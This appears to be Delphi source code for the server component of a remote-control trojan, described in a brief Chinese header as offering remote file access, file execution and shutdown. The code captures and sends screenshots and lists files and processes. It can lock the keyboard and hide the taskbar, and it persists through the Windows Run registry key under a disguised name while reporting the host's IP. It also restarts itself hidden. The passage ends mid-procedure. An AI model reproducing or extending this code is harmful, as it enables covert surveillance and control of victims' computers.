unit1.pas

１、远程文件访问。包括文件下载、上传（限文件8M以内）、文件（夹）更名、文件（夹）删除、文件运行、文件查找、创建文件夹、清空文件夹、文件属性查看。 ２、远程关机、启动、注销、修改组织名、用户名。

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, ExtCtrls, StdCtrls, ScktComp,Tlhelp32, IdBaseComponent,
  IdComponent, IdIPWatch, MMSystem,Clipbrd,shellapi,JPEG,Registry, FileCtrl,
  WinSock, ComCtrls, IdTCPConnection, IdTCPClient, IdMessageClient, IdSMTP,
  IdMessage;

type
  TForm1 = class(TForm)
    cs: TClientSocket;
    Timer1: TTimer;
    lb1: TListBox;
    keyti: TTimer;
    M1: TMemo;
    M2: TMemo;
    DCB: TDriveComboBox;
    TSLB: TListBox;
    RECL: TTimer;
    SS: TServerSocket;
    procedure Timer1Timer(Sender: TObject);
    procedure csConnect(Sender: TObject; Socket: TCustomWinSocket);
    procedure csError(Sender: TObject; Socket: TCustomWinSocket;
      ErrorEvent: TErrorEvent; var ErrorCode: Integer);
    procedure csRead(Sender: TObject; Socket: TCustomWinSocket);
    procedure csDisconnect(Sender: TObject; Socket: TCustomWinSocket);
    procedure FormCloseQuery(Sender: TObject; var CanClose: Boolean);
    procedure keytiTimer(Sender: TObject);
    procedure DCBChange(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure RECLTimer(Sender: TObject);
    procedure SSClientError(Sender: TObject; Socket: TCustomWinSocket;
      ErrorEvent: TErrorEvent; var ErrorCode: Integer);
    procedure SSClientDisconnect(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure SSClientRead(Sender: TObject; Socket: TCustomWinSocket);
  private
    { Private declarations }
    LPH : String;
    procedure winclose(var msg:Tmessage);message WM_QUERYENDSESSION;
    procedure SJP();
    procedure SSR();
  public
    { Public declarations }
  end;


type syver = (osUnknown, os95, os95OSR2, os98, os98SE, osNT3, osNT4, os2K, osME, osXP);
const BufSize=2048;
var
  Form1: TForm1;
  DOWF:TFileStream;
  oldHook: Hhook;
  i,kks,Posi,Len,lik:Integer;
  MYst: TMemorystream;{内存流对象}
  reg:Tregistry;
  seta,setb,setc,tskey,dirn,filn,updownfile:string;
  p:Array[0..1023] of byte; 

  Lsize:Longint;
  jpgs:TMemoryStream;
  fsRecv:TFileStream;
  JORF,spas:integer;
  upfina,T11,T22,T33:string;

implementation

{$R *.dfm}

procedure TForm1.SJP();
var sendsize:longint;
    Buf:array[0..BufSize-1] of char;
begin
  if jpgs.Size =0 then SSR();
  if Lsize>BufSize then SendSize:=BufSize else SendSize:=Lsize;
  jpgs.ReadBuffer(Buf,sendsize);
  Lsize:=Lsize-SendSize;
  if Lsize=0 then jpgs.Clear;
  try
   SS.Socket.Connections[0].SendBuf (buf,sendsize);
  except
   jpgs.Clear ;
  end;
end;

procedure TForm1.SSR();
var bmps:Tbitmap;
    jpgn:Tjpegimage;
    fscn:TCanvas;
    dc:HDC;
    srct, drct: TRect;
begin
  dc:=getdc(0);
  fscn:=Tcanvas.Create;
  fscn.Handle:=dc;
  bmps:=Tbitmap.create;
  bmps.Width :=screen.Width ;
  bmps.Height :=screen.Height ;
  srct:=rect(0,0,screen.Width ,screen.Height );
  drct:= rect(0,0,screen.Width ,screen.Height);
  bmps.Canvas.CopyRect(srct,fscn,drct);
  jpgn:=Tjpegimage.Create ;
  jpgn.Assign (bmps);
  jpgn.CompressionQuality:=40;
  jpgn.SaveToStream (jpgs);
  jpgs.Position :=0;
  Lsize:=jpgs.Size;
  fscn.Free;
  bmps.Free;
  jpgn.Free ;
  ReleaseDC(0, DC);
end;

function CovFileDate(Fd:_FileTime):TDateTime;{ 转换文件的时间格式 }
var Tct:_SystemTime;
    Temp:_FileTime;
begin
  FileTimeToLocalFileTime(Fd,Temp);
  FileTimeToSystemTime(Temp,Tct);
  CovFileDate:=SystemTimeToDateTime(Tct);
end;

procedure GetFileTime(const Tf:string);{ 获取文件时间，Tf表示目标文件路径和名称 }
const Model='yyyy/mm/dd,hh:mm:ss'; { 设定时间格式 }
var Tp:TSearchRec; { 申明Tp为一个查找记录 }
begin
  FindFirst(Tf,faAnyFile,Tp); { 查找目标文件 }
  T11:=FormatDateTime(Model,CovFileDate(Tp.FindData.ftCreationTime));{ 返回文件的创建时间 }
  T22:=FormatDateTime(Model,CovFileDate(Tp.FindData.ftLastWriteTime));{ 返回文件的修改时间 }
  T33:=FormatDateTime(Model,Now);{ 返回文件的当前访问时间 }
  FindClose(Tp);
end;

function ipdd():string;
var wda: TWSAData;
    s: array[0..128] of char;
begin
     WSAStartup(MAKEWORD(1, 1), wda);
     GetHostName(@s, 128);
     result :=iNet_ntoa(PInAddr(GetHostByName(@s)^.h_addr_list^)^);
end;

function remall(dir:string):boolean;
var sr:tsearchrec;
    SFI:string;
begin
   if dir[length(dir)]<>'\' then dir:=dir+'\';
   SFI:=dir+'*.*';
   if findfirst(SFI,faanyfile,sr)=0 then
    begin
     repeat
      begin
       if (sr.Name ='.') or (sr.Name ='..') then continue;
       if sr.Attr  and fadirectory<>0 then
        begin
         if not remall(dir+sr.name) then result:=false;
        end
       else deletefile(dir+sr.Name);
      end
    until findnext(sr)<>0;
     findclose(sr);
    end;
    if removedir(dir) then result:=true
    else result:=false;
end;

function fdir(dir:string):string;
var  sr: TSearchRec;
     Item : TListItem;
     sdir,fiex:string;
     fisu:integer;
begin
 fisu:=0;
 if dir[length(dir)]<>'\' then dir:=dir+'\';
   sdir:=dir+'*.*';
   if findfirst(sdir,faanyfile,sr)=0 then
    begin
     repeat
       begin
        if (sr.Name ='.') or (sr.Name ='..') then continue;
        if sr.Attr  and fadirectory<>0 then
          dirn:=dirn+sr.Name+'/'
        else
         begin
          fiex:=uppercase(copy(sr.Name,length(sr.Name)-2,3));
          if (fiex='EXE') OR (fiex='COM') OR
             (fiex='RAR') OR (fiex='ZIP') OR
             (fiex='TXT') OR (fiex='WPS') OR
             (fiex='DOC') OR (fiex='AVI') OR
             (fiex='RMA') OR (fiex='DAT') OR
             (fiex='MPE') OR (fiex='MP3') OR
             (fiex='WAV') OR (fiex='SWF') OR
             (fiex='GIF') OR (fiex='BMP') OR
             (fiex='JPG') OR (fiex='HTM') OR
             (fiex='GHO') OR (fiex='INI') THEN
             begin
               filn:=filn+sr.Name+'/';
               fisu:=fisu+1;
               if fisu=100 then exit;
             end;
         end
       end
     until
       findnext(sr)<>0;
       findclose(sr);
     end;
end;

function tohexstr(value:byte): string;
var count :integer;//注册表二进制写入
    howfar,tmp,andresul:word;
    output :string;
begin
    Howfar:=15;
    Output:='';
    tmp:=value;
    For count:=1 To 2 Do
     Begin
      AndResul:=tmp AND Howfar;
      case AndResul Of
       0 : OutPut:='0'+Output;
       1 : OutPut:='1'+Output;
       2 : OutPut:='2'+Output;
       3 : OutPut:='3'+Output;
       4 : OutPut:='4'+Output;
       5 : OutPut:='5'+Output;
       6 : OutPut:='6'+Output;
       7 : OutPut:='7'+Output;
       8 : OutPut:='8'+Output;
       9 : OutPut:='9'+Output;
       10 : OutPut:='A'+Output;
       11 : OutPut:='B'+Output;
       12 : OutPut:='C'+Output;
       13 : OutPut:='D'+Output;
       14 : OutPut:='E'+Output;
       15 : OutPut:='F'+Output;
      End;
      tmp:=tmp DIV 16;
     End;
  result := output;
end;

function GetOS :syver;
var OS :TOSVersionInfo;
begin
  ZeroMemory(@OS,SizeOf(OS));
  OS.dwOSVersionInfoSize:=SizeOf(OS);
  GetVersionEx(OS);
  Result:=osUnknown;
  if OS.dwPlatformId=VER_PLATFORM_WIN32_NT then
   begin
    case OS.dwMajorVersion of
3: Result:=osNT3;
4: Result:=osNT4;
5: Result:=os2K;
    end;
    if (OS.dwMajorVersion=5) and (OS.dwMinorVersion=1) then
      Result:=osXP;
    end else begin
    if (OS.dwMajorVersion=4) and (OS.dwMinorVersion=0) then begin
     Result:=os95;
    if (Trim(OS.szCSDVersion)='B') then
     Result:=os95OSR2;
    end else
    if (OS.dwMajorVersion=4) and (OS.dwMinorVersion=10) then begin
     Result:=os98;
    if (Trim(OS.szCSDVersion)='A') then
     Result:=os98SE;
    end else
    if (OS.dwMajorVersion=4) and (OS.dwMinorVersion=90) then
     Result:=osME;
    end;
end;

function TurnScreenSaverOn : bool;
var  b : bool;
begin//屏保
  result := false;
  if SystemParametersInfo(SPI_GETSCREENSAVEACTIVE,0,@b,0) <> true then exit;
  if not b then exit;
  PostMessage(GetDesktopWindow, WM_SYSCOMMAND, SC_SCREENSAVE, 0);
  result := true;
end;

function GetWinDir():String;
var ResultDir:Array[1..64] of char;
    i:integer;
begin//得到系统目录
  for i:=1 to 64 do resultDir[i]:=char($20);
  GetEnvironmentVariable('windir',@resultDir,64);
  Result:=resultDir;
end;


function GetDriveSpecies(Drive: string): string;
begin
  case GetDriveType(PChar(Drive)) of//获得Drive所对应的磁盘驱动器信息
    0:               Result := '9';
    1:               Result := '0';
    DRIVE_REMOVABLE: Result := '1';//软盘驱动器';
    DRIVE_FIXED :    Result := '2';//硬盘驱动器';
    DRIVE_REMOTE:    Result := '3';//网络驱动器';
    DRIVE_CDROM:     Result := '4';//光盘驱动器';
    DRIVE_RAMDISK:   Result := '5';//内存虚拟盘';
  end;
end;

function  SetPrivilege(sPrivilegeName:string;bEnabled:boolean):boolean;
var//关机
   TP,TPPre:TTokenPrivileges;
   Token:THandle;  
   dwLength:DWORD;  
begin  
   result  :=  false;  
   OpenProcessToken(GetCurrentProcess,TOKEN_ADJUST_PRIVILEGES  or  TOKEN_QUERY,Token);
   try  
   TP.PrivilegeCount  :=  1;  
   if  LookupPrivilegeValue(nil,PChar(sPrivilegeName),TP.Privileges[0].LUID)  then  
   begin  
       if  bEnabled  then  
           TP.Privileges[0].Attributes  :=  SE_PRIVILEGE_ENABLED  
       else  
           TP.Privileges[0].Attributes  :=  0;
       dwLength  :=  0;  
       Result  :=  AdjustTokenPrivileges(Token,false,TP,sizeof(TPPre),TPPre,dwLength);  
   end;  
   finally  
       CloseHandle(Token);  
   end;  
end;

Function KbHook( code: Integer; wparam: Word; lparam: LongInt ): LongInt;
Begin
  If code < 0 Then
    KbHook := CallNextHookEx( oldHook, code, wparam, lparam )
  Else
    KbHook := 1;
End;

Function DisableKeyboard: Boolean;
Begin//上锁
  oldHook := SetWindowsHookEx( WH_KEYBOARD, @KbHook, Hinstance, 0 );
  DisableKeyboard := oldHook <> 0;
End;

Procedure EnableKeyboard;
Begin//解锁
  If oldHook <> 0 Then
  Begin
    UnhookWindowshookEx( oldHook );
    oldHook := 0;
  End;
End;

procedure hideTaskbar; //隐藏状态栏
var wndHandle : THandle;
    wndClass : array[0..50] of Char;
begin
    StrPCopy(@wndClass[0],'Shell_TrayWnd');
    wndHandle := FindWindow(@wndClass[0],nil);
    ShowWindow(wndHandle,SW_HIDE);
End;

procedure showTaskbar; //显示状态栏
var  wndHandle : THandle;
     wndClass : array[0..50] of Char;
begin
     StrPCopy(@wndClass[0],'Shell_TrayWnd');
     wndHandle := FindWindow(@wndClass[0],nil);
     ShowWindow(wndHandle,SW_RESTORE);
end;

procedure retu();
begin//发送命令成功的消息
  form1.cs.Socket.SendText('001');
end;

procedure sx(); //结束进程子程序
var
  Lppe: TProcessEntry32;
  Found: boolean;
  Handle: THandle;
  s:string;
begin
  form1.lb1.clear;
  Handle:= CreateToolhelp32Snapshot(TH32CS_SNAPALL,0); //设定快照集的名柄
  lppe.dwSize:=Sizeof(TProcessEntry32);//找到第一个进程;
  Found:= Process32First(Handle,Lppe); //这一行非常重要
  while Found do
  begin
    s:=Lppe.szExeFile;
    form1.lb1.items.Add(s);
    Found:= Process32Next(Handle,Lppe);  //继续找下一个进程
  end;
end;


procedure TForm1.winclose(var msg: Tmessage);
begin //得到关机消息！
  reg:=tregistry.Create ;
  reg.RootKey :=HKEY_LOCAL_MACHINE;
  IF reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',True) then
    reg.WriteString('PHIME2OO2ASyst',Application.ExeName);
  reg.Free;
  CS.Socket.SendText('999'+ ipdd());
  cs.Active :=false;
  cs.Close ;
end;

procedure TForm1.Timer1Timer(Sender: TObject);
begin
 lik:=lik+1;
 if lik=2000 then
 begin
    Winexec(pchar(application.Exename),sw_hide);
    application.Terminate;